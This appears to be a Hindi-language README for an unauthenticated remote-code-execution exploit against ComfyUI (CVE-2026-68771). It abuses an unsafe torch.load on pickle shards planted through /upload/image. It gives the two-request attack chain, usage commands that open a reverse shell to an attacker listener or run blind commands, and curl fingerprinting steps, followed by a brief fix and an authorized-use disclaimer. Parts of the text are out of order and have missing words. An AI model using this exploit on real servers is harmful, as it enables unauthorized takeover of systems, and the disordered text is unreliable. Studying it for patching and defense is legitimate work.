
ComfyUI में pickle deserialization RCE, CVE-2026-68771 के लिए बिना प्रमाणीकरण वाला exploit। /upload/image के माध्यम से एक क्राफ्टेड shard स्थापित करता है, इसे /prompt के माध्यम से ट्रिगर करता है, और कमांड निष्पादित करता है या रिवर्स शेल खोलता है।
बिना प्रमाणीकरण के ComfyUI में LoadTrainingDataset नोड के माध्यम से रिमोट कोड निष्पादन।
LoadTrainingDataset.execute() सर्वर की आउटपुट डायरेक्टरी से डेटासेट शार्ड्स को torch.load(f) से लोड करता है और कोई weights_only=True नहीं। PyTorch < 2.6 पर (जहाँ weights_only का डिफ़ॉल्ट False होता है) एक क्राफ्टेड shard_*.pkl लोड होने पर अपना पिकल __reduce__ चला देता है (CWE-502)। ComfyUI बिना प्रमाणीकरण के आता है, और /upload/image रूट (type=output के साथ) बिना एक्सटेंशन जाँच के कच्चे अपलोड किए गए बाइट्स लिखता है, इसलिए एक .pkl को दो अनऑथेंटिकेटेड अनुरोधों में रोपकर ट्रिगर किया जा सकता है।
< 2.6 पर ComfyUI 0.23.08188 (अनऑथेंटिकेटेड)केवल Python 3 मानक लाइब्रेरी — कोई निर्भरता नहीं।
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444
# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'
कमांड सर्वर पर चलती है; इसका आउटपुट वापस नहीं मिलता, इसलिए परिणाम देखने के लिए --shell का उपयोग करें (या किसी पठनीय पथ पर लिखें)।
दो अनऑथेंटिकेटेड अनुरोध:
रोपण — POST /upload/image को type=output, subfolder=training_dataset, फ़ाइलनाम shard_0000.pkl के साथ भेजें। /upload/image रूट कच्चे बाइट्स लिखता है (उस पथ पर कोई इमेज प्रोसेसिंग नहीं होती), इसलिए पिकल यथावत output/training_dataset/shard_0000.pkl पर पहुँच जाता है। पिकल का __reduce__ (os.system, (cmd,)) लौटाता है।
ट्रिगर — एक वर्कफ़्लो के साथ POST /prompt: एक LoadTrainingDataset नोड (folder_name=training_dataset) जो SaveLatent आउटपुट नोड से जुड़ा है। आउटपुट नोड ComfyUI को LoadTrainingDataset निष्पादित करने के लिए बाध्य करता है, जो को ग्लोब करता है और कॉल करता है:
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200 -> vulnerable node present
torch.load(f, weights_only=True) के साथ लोड करें।weights_only का डिफ़ॉल्ट True है और प्रतिबंधित अनपिकलर os.system को अस्वीकार कर देता है।केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसका उपयोग केवल उन्हीं सिस्टमों के विरुद्ध करें जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है।
shard_*.pklwith open(shard_path, "rb") as f:
shard_data = torch.load(f) # no weights_only=True -> runs the pickle on torch < 2.6
डीसेरियलाइज़ेशन के दौरान पिकल का __reduce__ os.system(cmd) चलाता है।